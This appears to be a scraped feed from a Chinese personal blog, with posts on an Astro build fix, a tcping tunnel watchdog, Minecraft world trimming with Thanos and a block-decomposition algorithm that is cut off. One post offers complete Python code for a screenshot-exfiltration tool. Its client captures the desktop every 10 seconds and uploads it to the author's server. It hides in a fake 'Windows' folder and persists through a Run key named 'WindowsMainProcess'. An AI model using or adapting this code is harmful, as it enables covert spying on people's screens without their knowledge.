&lt;p&gt;贼迷惑啊，上上个月搭博客还啥事没有，就蹦了个：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;ERR_PNPM_OUTDATED_LOCKFILE  Cannot install with &quot;frozen-lockfile&quot; because pnpm-lock.yaml is not up 
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;最后 &lt;a href=&quot;https://blog.csdn.net/thhhwr/article/details/136537959&quot;&gt;这篇博客&lt;/a&gt; 给出了解决方案，确实有效，删了 &lt;code&gt;pnpm-lock.yaml&lt;/code&gt; 然后就搭好了，后续传文件也啥事没有。过了俩月就报错是吧。&lt;/p&gt;
&lt;p&gt;直接给这段报错扔给 chatgpt，结果一堆车轱辘话，没啥卵用。&lt;/p&gt;
&lt;p&gt;然后就死马当活马医扔到百度帮我搜一下，好家伙翻到一个 &lt;a href=&quot;https://stackoverflow.com/questions/78856096/error-when-evaluating-ssr-module-f-oceanh-workspace-project-blog-astro-astro-co&quot;&gt;stackflow&lt;/a&gt;。好嘛，一模一样。而且：&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Modified 27 days ago&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;寻思有救了，解答老哥扔了个 &lt;a href=&quot;https://github.com/natemoo-re/astro-icon/issues/231&quot;&gt;github 的 issue&lt;/a&gt;，一模一样，都是因为 cheerio。下面一堆改 package.json 的，但是我实测并没有用，override pnpm 也没用，直到看到二楼老哥：&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;It has something to do with the latest release of Cheerio
https://github.com/cheeriojs/cheerio/releases/tag/v1.0.0
It was tagged 6 hours ago. This seems more like an issue with &lt;code&gt;@iconify/tools&lt;/code&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;打开一看&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;1725726896079.png&quot; alt=&quot;1725726896079&quot; /&gt;&lt;/p&gt;
&lt;p&gt;之后报错也给我提示了是在 &lt;code&gt;@iconify\tools\lib\svg\index.mjs&lt;/code&gt; 报的错，然后打开一看，好家伙第一行：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;1725727401745.png&quot; alt=&quot;1725727401745&quot; /&gt;&lt;/p&gt;
&lt;p&gt;典中典，把老的引用方式改成 &lt;code&gt;import * as cheerio from &apos;cheerio&apos;;&lt;/code&gt;：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;1725727475749.png&quot; alt=&quot;1725727475749&quot; /&gt;&lt;/p&gt;
&lt;p&gt;跑了遍 &lt;code&gt;pnpm run build&lt;/code&gt; 没啥问题，然后本地网站看了也没啥问题，我就把他 push 到了我仓库，然后让 vercel 给我搭一下。然后好嘛：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;1725727600073.png&quot; alt=&quot;1725727600073&quot; /&gt;&lt;/p&gt;
&lt;p&gt;不多评价了。&lt;/p&gt;
&lt;p&gt;前几次主要报错是：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;1725727654164.png&quot; alt=&quot;1725727654164&quot; /&gt;&lt;/p&gt;
&lt;p&gt;结果就是我本地改了，人家下的还是有 bug 的版本的。灵机一动，上传 &lt;code&gt;node_modules\@iconify\tools&lt;/code&gt;。&lt;/p&gt;
&lt;p&gt;然后就好了。然后就好了。然后就好了。然后就好了。然后就好了。然后就好了。然后就好了。然后就好了。然后就好了。然后就好了。然后就好了。然后就好了。然后就好了。然后就好了。然后就好了。然后就好了。然后就好了。然后就好了。然后就好了。然后就好了。然后就好了。然后就好了。然后就好了。然后就好了。然后就好了。然后就好了。然后就好了。然后就好了。然后就好了。然后就好了。然后就好了。然后就好了。然后就好了。然后就好了。然后就好了。然后就好了。然后就好了。然后就好了。然后就好了。然后就好了。然后就好了。然后就好了。然后就好了。然后就好了。然后就好了。然后就好了。然后就好了。然后就好了。然后就好了。然后就好了。然后就好了。然后就好了。然后就好了。然后就好了。然后就好了。然后就好了。然后就好了。&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;具体这个 bug 产生原因就是，&lt;code&gt;cheerio&lt;/code&gt; 新版本引用方式要改，但是 &lt;code&gt;astro&lt;/code&gt; 使用的 &lt;code&gt;@iconify\tools&lt;/code&gt; 是老版本的还是采用老的应用方式导致无法正确引用 &lt;code&gt;cheerio&lt;/code&gt; 库。（这个问题在新版的 &lt;code&gt;@iconify\tools&lt;/code&gt; 已被解决，但是 &lt;code&gt;astro&lt;/code&gt; 并没有跟进。。。）&lt;/p&gt;
&lt;p&gt;而且 &lt;code&gt;cheerio&lt;/code&gt; 更新时间是上个月，恰好卡在我首次搭建博客和改 icon 中间，一直就没出现这个错。。。。&lt;/p&gt;
&lt;p&gt;找了两个晚上 bug 终于整好了。。。&lt;/p&gt;
</content:encoded></item><item><title>使用 Python 实现远程截图桌面并上传到服务端</title><link>https://blog.mitufun.top/posts/%E4%BD%BF%E7%94%A8-python-%E5%AE%9E%E7%8E%B0%E8%BF%9C%E7%A8%8B%E6%88%AA%E5%9B%BE%E6%A1%8C%E9%9D%A2%E5%B9%B6%E4%B8%8A%E4%BC%A0%E5%88%B0%E6%9C%8D%E5%8A%A1%E7%AB%AF/</link><guid isPermaLink="true">https://blog.mitufun.top/posts/%E4%BD%BF%E7%94%A8-python-%E5%AE%9E%E7%8E%B0%E8%BF%9C%E7%A8%8B%E6%88%AA%E5%9B%BE%E6%A1%8C%E9%9D%A2%E5%B9%B6%E4%B8%8A%E4%BC%A0%E5%88%B0%E6%9C%8D%E5%8A%A1%E7%AB%AF/</guid><pubDate>Thu, 22 Aug 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;很早之前就想写了，前几天给实现了。&lt;/p&gt;
&lt;p&gt;整个程序分为两部分，客户端和服务端。&lt;/p&gt;
&lt;h3&gt;服务端&lt;/h3&gt;
&lt;p&gt;服务端很简单，只需要用 Flask 跑个服务器，然后监听几个 api 就行了。&lt;/p&gt;
&lt;p&gt;我具体实现的 api 就仨：upload、ban、unban，功能和他们名字一样。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import os
import time
from flask import Flask, request

app = Flask(__name__)

blacklist = []

@app.route(&apos;/upload&apos;, methods=[&apos;POST&apos;])
def upload_image():
    if &apos;screenshot&apos; not in request.files:
        return &apos;没有找到文件&apos;, 400

    file = request.files[&apos;screenshot&apos;]
    if file.filename == &apos;&apos;:
        return &apos;文件名称为空&apos;, 400
    client_name = request.headers.get(&apos;Client-Name&apos;)
    if client_name in blacklist:
        return &apos;Banned&apos;, 403

    save_path = os.path.join(os.getcwd(), &apos;screenshots&apos;, client_name)
    os.makedirs(save_path, exist_ok=True)

    timestamp = int(time.time())
    filename = f&apos;{client_name}_{timestamp}.png&apos;
    file.save(os.path.join(save_path, filename))

    return &apos;Uploaded&apos;, 200

@app.route(&apos;/ban/&amp;lt;username&amp;gt;&apos;, methods=[&apos;GET&apos;])
def add_to_blacklist(username):
    blacklist.append(username)
    return f&apos;Banned {username}&apos;, 200

@app.route(&apos;/unban/&amp;lt;username&amp;gt;&apos;, methods=[&apos;GET&apos;])
def remove_from_blacklist(username):
    if username in blacklist:
        blacklist.remove(username)
        return f&apos;Unbanned {username}&apos;, 200
    else:
        return f&apos;{username} is not banned&apos;, 404

if __name__ == &apos;__main__&apos;:
    app.run()

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;收到的图片会存在同目录下 /screenshot/用户名 文件夹下，并按时间戳保存。&lt;/p&gt;
&lt;p&gt;对于为什么要实现 ban 和 unban 这俩 api，纯纯就是因为如果一个人长期后台跑这个我电脑磁盘扛不住。&lt;/p&gt;
&lt;p&gt;这俩 api 用法也贼简单，浏览器访问 &lt;code&gt;/ban/&amp;lt;username&amp;gt;&lt;/code&gt; 或 &lt;code&gt;/unban/&amp;lt;username&amp;gt;&lt;/code&gt; 就能封禁和解封了。&lt;/p&gt;
&lt;h3&gt;客户端&lt;/h3&gt;
&lt;p&gt;客户端就比较麻烦了，主要是要有防杀功能。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import pyautogui
import pyscreenshot
import requests
import socket
import time
import os
import tempfile
import win32com.client
import winreg
import shutil
import ctypes

def take_screenshot_and_upload(upload_url):
  image = pyscreenshot.grab()
  fd, temp_file = tempfile.mkstemp(suffix=&quot;.png&quot;)
  os.close(fd)
  image.save(temp_file)
  client_name = socket.gethostname()
  headers = {
    &apos;Client-Name&apos;: client_name
  }
  try:
    with open(temp_file, &quot;rb&quot;) as f:
      response = requests.post(upload_url, files={&quot;screenshot&quot;: f}, headers=headers)
      for _ in range(5):
        try:
          os.remove(temp_file)
          break
        except PermissionError:
          print(f&quot;无法删除 {temp_file} 文件，正在重试...&quot;)
          time.sleep(0.5)
      return response
  except requests.exceptions.ConnectionError as e:
    print(f&quot;连接错误：{e}&quot;)
    return None

upload_url = &quot;http://[你的服务器地址]/upload&quot;

def set_auto_start():
  try:
    key = winreg.OpenKey(winreg.HKEY_CURRENT_USER, r&apos;Software\Microsoft\Windows\CurrentVersion\Run&apos;, 0, winreg.KEY_SET_VALUE)
    winreg.SetValueEx(key, &apos;WindowsMainProcess&apos;, 0, winreg.REG_SZ, os.path.abspath(__file__))
    winreg.CloseKey(key)
    print(f&quot;已设置为开机自启。&quot;)
  except Exception as e:
    print(f&quot;设置开机自启失败：{e}&quot;)

def check_admin_rights():
    try:
        return ctypes.windll.shell32.IsUserAnAdmin()
    except:
        return False

def move_to_program_files():
  try:
    script_dir = os.path.dirname(os.path.abspath(__file__))
    target_path = r&apos;C:\Program Files\Windows&apos;
    os.makedirs(target_path, exist_ok=True)
    for filename in os.listdir(script_dir):
      source_file = os.path.join(script_dir, filename)
      shutil.move(source_file, target_path)
    print(f&quot;脚本和相关文件已移动到 {target_path}&quot;)
  except Exception as e:
    print(f&quot;移动脚本和相关文件失败：{e}&quot;)

def main():
  if (not check_admin_rights()) and os.path.abspath(__file__) != r&apos;C:\Program Files\Windows&apos;:
    print(&quot;需要管理员权限才能运行此程序！&quot;)
    os.system(&apos;pause&apos;)
    return
  if os.path.abspath(__file__) != r&apos;C:\Program Files\Windows&apos;:
    move_to_program_files()
    set_auto_start()
  while True:
    response = take_screenshot_and_upload(upload_url)
    if response:
      print(f&quot;上传状态码：{response.status_code}&quot;)
      print(f&quot;上传响应：{response.text}&quot;)
    else:
      print(&quot;连接失败，将在 10 秒后重试...&quot;)
    time.sleep(10)

if __name__ == &quot;__main__&quot;:
  main()

&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;&lt;code&gt;take_screenshot_and_upload()&lt;/code&gt;&lt;/h4&gt;
&lt;p&gt;使用 &lt;code&gt;pyscreenshot&lt;/code&gt; 截图当前桌面，然后将图片临时保存到本地。&lt;/p&gt;
&lt;p&gt;用 &lt;code&gt;requests&lt;/code&gt; 上传截图，在此期间，如果网络连接速度较慢，会出现临时截图文件被占用无法删除导致程序异常退出。我的方法就是循环删除，直到能删掉（没想到更好的方法 嘻嘻&lt;/p&gt;
&lt;p&gt;同时如果服务端没开的话也得抓一下这个异常，不然又退出了。&lt;/p&gt;
&lt;h4&gt;&lt;code&gt;set_auto_start()&lt;/code&gt;&lt;/h4&gt;
&lt;p&gt;开机自启，需要管理员权限，故在 main 开头就得检测是否有管理员权限。但当此程序已被移动到 &lt;code&gt;C:\Program Files\Windows\&lt;/code&gt; 目录下，则意味着已经设置成功，在 main 开头不需要检测权限，否则每次开机自启后都无法成功运行。&lt;/p&gt;
&lt;h3&gt;关于如何远程连接服务端&lt;/h3&gt;
&lt;p&gt;我采取的方案是内网穿透。用 OpenFrp 穿透一下内网服务器（默认为 127.0.0.1:5000），隧道类型选 TCP，然后会给你一串网址，例如 &lt;code&gt;example.com:1234&lt;/code&gt;。然后你把客户端中 &lt;code&gt;[你的服务器地址]&lt;/code&gt; 改为 &lt;code&gt;example.com:1234&lt;/code&gt; 即可。&lt;/p&gt;
&lt;p&gt;当然，如果你有域名，CNAME 类型记录一下 &lt;code&gt;example.com&lt;/code&gt;，然后服务器地址后头记得加上端口 &lt;code&gt;1234&lt;/code&gt; 就好了。挺简单的也。&lt;/p&gt;
</content:encoded></item><item><title>以一种简单的方式维持内网穿透的稳定性</title><link>https://blog.mitufun.top/posts/%E4%BB%A5%E4%B8%80%E7%A7%8D%E7%AE%80%E5%8D%95%E7%9A%84%E6%96%B9%E5%BC%8F%E7%BB%B4%E6%8C%81%E5%86%85%E7%BD%91%E7%A9%BF%E9%80%8F%E7%9A%84%E7%A8%B3%E5%AE%9A%E6%80%A7/</link><guid isPermaLink="true">https://blog.mitufun.top/posts/%E4%BB%A5%E4%B8%80%E7%A7%8D%E7%AE%80%E5%8D%95%E7%9A%84%E6%96%B9%E5%BC%8F%E7%BB%B4%E6%8C%81%E5%86%85%E7%BD%91%E7%A9%BF%E9%80%8F%E7%9A%84%E7%A8%B3%E5%AE%9A%E6%80%A7/</guid><description>以一种简单的方式维持内网穿透的稳定性</description><pubDate>Tue, 06 Aug 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;在使用 openfrp 时时常出现因更新导致无法连接的问题，虽然只需要我们手动重启一下就行，但是还是挺麻烦的，还得别人提醒。&lt;/p&gt;
&lt;p&gt;但是 openfrp 提供的地址是附有端口的，我们需要检查某一端口是否能连接正常。普通的 ping 无法实现，我们可以使用 tcping。&lt;a href=&quot;https://elifulkerson.com/projects/tcping.php&quot;&gt;下载地址&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;将下载的 tcping.exe 或者 tcping64.exe 放置到 C:\Windows\System32 目录下（即与 ping.exe 同目录）&lt;/p&gt;
&lt;p&gt;如果你下载的是 tcping.exe，命令则使用 tcping 开头。如果是 tcping64.exe，命令则以 tcping64 开头。&lt;/p&gt;
&lt;p&gt;:::tip&lt;/p&gt;
&lt;p&gt;当然，如果你愿意，你可以将你的 tcping64.exe 改名为 tcping.exe。&lt;/p&gt;
&lt;p&gt;:::&lt;/p&gt;
&lt;p&gt;官方 -help：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;NAME
    tcping - simulate &quot;ping&quot; over tcp by establishing a connection to network hosts.
    Measures the time for your system to [SYN], receive the target&apos;s [SYN][ACK] and send [ACK].  Note that the travel time for
    the last ACK is not included - only the time it takes to be put on the wire a the sending end.
SYNOPSIS
    tcping [-tdsvf46] [-i interval] [-n times] [-w interval] [-b n] [-r times][-j depth] [--tee filename] [-f] destination [port]
DESCRIPTION
    tcping measures the time it takes to perform a TCP 3-way handshake (SYN, SYN/ACK, ACK) between itself and a remote host.
    The travel time of the outgoing final ACK is not included, only the (minimal) amount of time it has taken to drop it on
    the wire at the near end.  This allows the travel time of the (SYN, SYN/ACK) to approximate the travel time of the
    ICMP (request, response) equivalent.
OPTIONS
    -4      Prefer using IPv4
    -6      Prefer using IPv6
    -t      ping continuously until stopped via control-c
    -n count
            send _count_ pings and then stop.  Default 4.
    -i interval
            Wait _interval_ seconds between pings.  Default 1.  Decimals permitted.
    -w interval
            Wait _interval_ seconds for a response.  Default 2.  Decimals permitted.
    -d      include date and time on every output line
    -f      Force sending at least one byte in addition to making the connection.
    -g count
            Give up after _count_ failed pings.
    -b type
            Enable audible beeps.
            &apos;-b 1&apos; will beep &quot;on down&quot;.  If a host was up, but now its not, beep.
            &apos;-b 2&apos; will beep &quot;on up&quot;.  If a host was down, but now its up, beep.
            &apos;-b 3&apos; will beep &quot;on change&quot;.  If a host was one way, but now its the other, beep.
            &apos;-b 4&apos; will beep &quot;always&quot;.
    -c      only show output on a changed state
    -r count
            Every _count_ pings, we will perform a new DNS lookup for the host in case it changed.
    -s      Exit immediately upon a success. 
    -v      Print version and exit.
    -S source_address
            Use _source_address_ as the tcp client&apos;s source address.  Must be a valid IP address on the client system.

    -j      Calculate jitter.  Jitter is defined as the difference between the last response time and the historical average.
    -js depth
            Calculate jitter, as with -j but with an optional _depth_ argument specified. If _depth_ is specified tcping will
            use the prior _depth_ values to calculate a rolling average.
    --tee _filename_
            Duplicate output to the _filename_ specified.  Windows can still not be depended upon to have a useful command line 
            environment. Don&apos;t tease me, *nix guys.   
    --file
            Treat the &quot;destination&quot; option as a filename.  That file becomes a source of destinations, looped through on a
            line by line basis.  Some options don&apos;t work in this mode and statistics will not be kept.
    destination
            A DNS name, an IP address, or (in &quot;http&quot; mode) a URL.
            Do not specify the protocol (&quot;http://&quot;) in &quot;http&quot; mode.  Also do not specify server port via &quot;:port&quot; syntax.
            For instance:   &quot;tcping http://www.elifulkerson.com:8080/index.html&quot; would fail
            Use the style:  &quot;tcping www.elifulkerson.com/index.html 8080&quot; instead.                       
    port
            A numeric TCP port, 1-65535.  If not specified, defaults to 80.
    --header
            include a header with the command line arguments and timestamp.  Header is implied if using --tee.
    --block
            use a &quot;blocking&quot; socket to connect.  This prevents -w from working, uses the default timeout of around 20 seconds,
            and might break other expected behavior.  However, it can detect an actively refused connection vs a timeout.   
HTTP MODE OPTIONS   
    -h      Use &quot;http&quot; mode.  In http mode we will attempt to GET the specified document and return additional values including
            the document&apos;s size, http response code, kbit/s.
    -u      In &quot;http&quot; mode, include the target URL on each output line.
    --post Use POST instead of GET in http mode.
    --head Use HEAD instead of GET in http mode.
    --get Shorthand to invoke &quot;http&quot; mode for consistency&apos;s sake.
    --proxy-server _proxyserver_
            Connect to _proxyserver_ to request the url rather than the server indicated in the url itself.
    --proxy-port _port_
            Specify the numeric TCP port of the proxy server.  Defaults to 3128.
    --proxy-credentials username:password
            Specify a username:password pair which is sent as a &apos;Proxy-Authorization: Basic&apos; header.
RETURN VALUE
    tcping returns 0 if all pings are successful, 1 if zero pings are successful and 2 for mixed outcome.
BUGS/REQUESTS
    Please report bugs and feature requests to the author via contact information on http://www.elifulkerson.com
AVAILABILITY
    tcping is available at http://www.elifulkerson.com/projects/tcping.php
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;:::note&lt;/p&gt;
&lt;p&gt;这个命令使用 &lt;code&gt;system()&lt;/code&gt; 运行后会返回结果，&lt;code&gt;1&lt;/code&gt; 为无法连接，&lt;code&gt;0&lt;/code&gt; 为连接成功。&lt;/p&gt;
&lt;p&gt;:::&lt;/p&gt;
&lt;p&gt;因此我们可以写出一段周期检测对应远程端口是否可访问的代码：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;#include&amp;lt;iostream&amp;gt;
#include&amp;lt;climits&amp;gt;
#include&amp;lt;cstring&amp;gt;
#include&amp;lt;cstdio&amp;gt;
#include&amp;lt;Windows.h&amp;gt;
#include&amp;lt;chrono&amp;gt;
using namespace std;

int main() {
    while (1) {
	    time_t now = time(nullptr);
	    string s = ctime(&amp;amp;now);
		cout &amp;lt;&amp;lt; &quot;&amp;gt;&amp;gt;&amp;gt; [&quot; &amp;lt;&amp;lt; s.substr(0, s.size() - 1) &amp;lt;&amp;lt; &apos;]&apos;;
        if (system(&quot;tcping -n 1 [你的远程地址] [端口]&quot;)) {
        	cout &amp;lt;&amp;lt; &quot;&amp;gt;&amp;gt;&amp;gt; START FINAL CHECK.&quot; &amp;lt;&amp;lt; endl;
        	bool flag = false;
        	for (int i = 1;i &amp;lt;= 3;i++) {
        		cout &amp;lt;&amp;lt; &quot;&amp;gt;&amp;gt;&amp;gt; CHECK NO. &quot; &amp;lt;&amp;lt; i &amp;lt;&amp;lt; &quot;&quot;;
        		if (!system(&quot;tcping -n 1 [你的远程地址] [端口]&quot;)) {
        			flag = true;
        			break;
				}
				Sleep(2000);
			}
			if (!flag) {
				system(&quot;start rfrp.bat&quot;);
			}
			cout &amp;lt;&amp;lt; &quot;&amp;gt;&amp;gt;&amp;gt; FINAL CHECK DONE.&quot; &amp;lt;&amp;lt; endl;
        }
        Sleep(60000);
    } 
    return 0;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;:::important&lt;/p&gt;
&lt;p&gt;其中 &lt;code&gt;if(!flag)&lt;/code&gt; 后会运行重启等相关操作，自行修改。&lt;/p&gt;
&lt;p&gt;记得改自己的内网穿透地址。&lt;/p&gt;
&lt;p&gt;:::&lt;/p&gt;
</content:encoded></item><item><title>使用 Thanos 给大型 MC 存档瘦身</title><link>https://blog.mitufun.top/posts/%E4%BD%BF%E7%94%A8-thanos-%E7%BB%99%E5%A4%A7%E5%9E%8B-mc-%E5%AD%98%E6%A1%A3%E7%98%A6%E8%BA%AB/</link><guid isPermaLink="true">https://blog.mitufun.top/posts/%E4%BD%BF%E7%94%A8-thanos-%E7%BB%99%E5%A4%A7%E5%9E%8B-mc-%E5%AD%98%E6%A1%A3%E7%98%A6%E8%BA%AB/</guid><description>使用 Thanos 给大型 MC 存档瘦身</description><pubDate>Tue, 06 Aug 2024 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;前言&lt;/h2&gt;
&lt;p&gt;::github{repo=&quot;aternosorg/thanos&quot;}&lt;/p&gt;
&lt;p&gt;（以下为官方 README 中文翻译）&lt;/p&gt;
&lt;p&gt;Thanos是一个PHP库，可以自动检测并删除Minecraft世界中未使用的区块。这可以将世界的文件大小减少50%以上。&lt;/p&gt;
&lt;p&gt;除现有工具外，此库不使用 blocklist（我确实不知道这个该如何翻译）。相反，使用占用时间值来确定是否使用块。这可以防止使用过的块有时会被意外删除，并使此库与大多数mods和插件兼容。&lt;/p&gt;
&lt;p&gt;目前，仅支持Minecraft Anvil世界格式（Minecraft Java版）。&lt;/p&gt;
&lt;h2&gt;安装&lt;/h2&gt;
&lt;p&gt;:::important[一些必须的环境]&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;PHP 7.4&lt;/li&gt;
&lt;li&gt;脑子&lt;/li&gt;
&lt;li&gt;手&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;顺带一提，这个 php 我是用宝塔面板装的（&lt;/p&gt;
&lt;p&gt;:::&lt;/p&gt;
&lt;h3&gt;开始&lt;/h3&gt;
&lt;p&gt;创建一个新的空文件夹，并执行以下命令安装（没 php 跑不了）：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;composer require aternos/thanos
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;可能会提示一些函数 &lt;code&gt;has been disabled for security reasons&lt;/code&gt;，你去宝塔面板找到 php-7.4 管理，禁用函数，给报错的函数都开开就行了。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./%E5%88%A0%E9%99%A4%E7%A6%81%E7%94%A8%E5%87%BD%E6%95%B0.png&quot; alt=&quot;删除禁用函数&quot; /&gt;&lt;/p&gt;
&lt;p&gt;删除完了别忘了再跑一遍 &lt;code&gt;composer require aternos/thanos&lt;/code&gt;。&lt;/p&gt;
&lt;h3&gt;使用&lt;/h3&gt;
&lt;p&gt;:::caution&lt;/p&gt;
&lt;p&gt;以下命令必须在项目根目录下运行。&lt;/p&gt;
&lt;p&gt;运行前关闭游戏。&lt;/p&gt;
&lt;p&gt;:::&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;./vendor/aternos/thanos/thanos.php 世界文件夹名称 输出文件夹名称
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;等待一段时间，可能要很久，当出现 &lt;code&gt;Removed xxx chunks in xxx seconds&lt;/code&gt; 时即说明优化完成。此时输出文件夹内就是优化完的存档。&lt;/p&gt;
&lt;p&gt;但是，如果你的存档过大，这个命令要运行很久，这个命令无法提供当前的优化进度，如果死机了你也不知道。那你可以使用我写的脚本：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/php
&amp;lt;?php

use Aternos\Thanos\Helper;
use Aternos\Thanos\Thanos;
use Aternos\Thanos\World\AnvilWorld;

require_once &apos;vendor/autoload.php&apos;;

$startTime = microtime(true);
$world = new AnvilWorld(&quot;D:/MinecraftServer/backup/world&quot;, &quot;D:/MinecraftServer/world&quot;);
$cnt = 0;

echo &quot;Copying other files...\n&quot;;
$world-&amp;gt;copyOtherFiles(); //copy non-region files

foreach ($world as $chunk){
  if($chunk-&amp;gt;getInhabitedTime() &amp;gt; 0){
    $chunk-&amp;gt;save();
  }
  else {
    $cnt++;
    echo &quot;Removed $cnt chunks\n&quot;;
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;具体使用方法：打开此目录 &lt;code&gt;\vendor\aternos\thanos&lt;/code&gt;，打开 &lt;code&gt;thanos.php&lt;/code&gt;，将里面的代码替换为我提供的代码。最后退回到根目录运行 &lt;code&gt;./vendor/aternos/thanos/thanos.php 世界文件夹名称 输出文件夹名称&lt;/code&gt; 命令即可。&lt;/p&gt;
</content:encoded></item><item><title>滑动窗口 O(n) 的分块做法</title><link>https://blog.mitufun.top/posts/%E6%BB%91%E5%8A%A8%E7%AA%97%E5%8F%A3-on-%E7%9A%84%E5%88%86%E5%9D%97%E5%81%9A%E6%B3%95/</link><guid isPermaLink="true">https://blog.mitufun.top/posts/%E6%BB%91%E5%8A%A8%E7%AA%97%E5%8F%A3-on-%E7%9A%84%E5%88%86%E5%9D%97%E5%81%9A%E6%B3%95/</guid><description>搬运自我的 cnblogs</description><pubDate>Sat, 28 May 2022 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;:::info&lt;/p&gt;
&lt;p&gt;此为本人于 2022-05-28 初次发表在 cnblogs 的内容，迁移至此。&lt;a href=&quot;https://www.cnblogs.com/luogu-int64/p/16320845.html&quot;&gt;阅读原文&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;:::&lt;/p&gt;
&lt;p&gt;一种复杂度为 $\mathcal{O}(n)$ 的分块做法。不需要开 O2。&lt;/p&gt;
&lt;p&gt;显然，这题可以想出一种 $\mathcal{O}(n\sqrt{n})$ 的垃圾分块做法，过不了，实测只有 &lt;a href=&quot;https://www.luogu.com.cn/record/76536917&quot;&gt;70 分&lt;/a&gt;，但是开 O2 可过，但是这样就没有优化的乐趣了。&lt;/p&gt;
&lt;p&gt;观察查询阶段：&lt;/p&gt;
&lt;p&gt;同一个块内我们不考虑，因为这部分直接暴力即可。看两端点不在同一个块内的情况，朴素代码如下：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;for (int i = l; i &amp;lt;= b[bel[l]].ed; i++) {
	minv = min(minv, a[i]);
	maxv = max(maxv, a[i]);
}
for (int i = b[bel[r]].st; i &amp;lt;= r; i++) {
	minv = min(minv, a[i]);
	maxv = max(maxv, a[i]);
}
for (int i = bel[l] + 1; i &amp;lt; bel[r]; i++) {
	minv = min(minv, b[i].minv);
	maxv = max(maxv, b[i].maxv);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;我们使用了比较大的时间在暴力计算零散块的值，这会花费很多时间。（之所以这样说，是因为如果注释了前两个暴力的 for 之后，我们发现&lt;a href=&quot;https://www.luogu.com.cn/record/76537264&quot;&gt;只有一个点超时了&lt;/a&gt;）&lt;/p&gt;
&lt;p&gt;注意到，这里零散块的暴力都是从一个块的起点或终点到某个点之前的最值，我们可以使用前缀和后缀最值来实现 $\mathcal{O}(1)$ 查询块的起点、终点到一个点之间的最值。我的代码中使用 premin/max 和 sufmin/max 分别表示前缀最小最大值和后缀最小最大值。&lt;/p&gt;
&lt;p&gt;那么恭喜，使用这种方法我们可以得到 &lt;a href=&quot;https://www.luogu.com.cn/record/76490775&quot;&gt;90 pts&lt;/a&gt;，正好对应了之前注释掉的评测记录。说明这种优化是大有作用的。&lt;/p&gt;
&lt;p&gt;此刻，你发现你陷入了一个窘境——你想不出别的方法优化了。这里，我们就需要对块长入手。&lt;/p&gt;
&lt;p&gt;我们要充分发挥 &lt;s&gt;人类的智慧&lt;/s&gt; 前缀最值和后缀最值的作用，因为使用这两个数组可以 $\mathcal{O}(1)$ 找到最值。&lt;/p&gt;
&lt;p&gt;能用到前缀最值和后缀最值的情况只有当查询的两个端点在不同的块内。为了达到这个目标，我们需要将块长设置为 $k-1$。（我的代码中 $k$ 与块的个数重复了，于是使用 $l$ 代替）可能说的不是很清楚，我画个图：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://cdn.luogu.com.cn/upload/image_hosting/kpduogal.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;上图中红色框表示块，绿色框表示查询区间。对于查询区间的 ①，可以看做是从 $l$ 到 $l$ 所在的块末尾的最值（使用后缀最值数组），② 同理可以看做是从 $r$ 所在的块的起始到 $r$ 的最值（使用前缀最值数组）。这样可以直接 $\mathcal{O}(1)$ 解决查询问题。&lt;/p&gt;
&lt;p&gt;那么时间复杂度也就降到了 $\mathcal{O}(n)$，好像不能再低了。&lt;/p&gt;
&lt;h3&gt;代码&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;#include&amp;lt;iostream&amp;gt;
#include&amp;lt;cmath&amp;gt;
#include&amp;lt;ctype.h&amp;gt;
#include&amp;lt;climits&amp;gt;
#include&amp;lt;vector&amp;gt;
using namespace std;

#define int long long

const int maxn = 1e6 + 10;
const int maxblocksize = 1010;

int n, l;
int a[maxn];

struct block {
    int st, ed;
    vector&amp;lt;int&amp;gt; premax, premin;
    vector&amp;lt;int&amp;gt; sufmax, sufmin;
};
vector&amp;lt;block&amp;gt; b;

int blocksize, k, bel[maxn];

void init() {
    blocksize = l - 1, k = n / blocksize;
    b.resize(k + 5);
    for (int i = 1; i &amp;lt;= k; i++) {
        b[i].st = b[i - 1].ed + 1;
        b[i].ed = b[i].st + blocksize - 1;
    }
    if (b[k].ed != n) {
        k++;
        b[k].st = b[k - 1].ed + 1;
        b[k].ed = n;
    }
    for (int i = 1; i &amp;lt;= k; i++) {
        b[i].premax.resize(b[i].ed - b[i].st + 20);
        b[i].premin.resize(b[i].ed - b[i].st + 20);
        b[i].sufmax.resize(b[i].ed - b[i].st + 20);
        b[i].sufmin.resize(b[i].ed - b[i].st + 20);
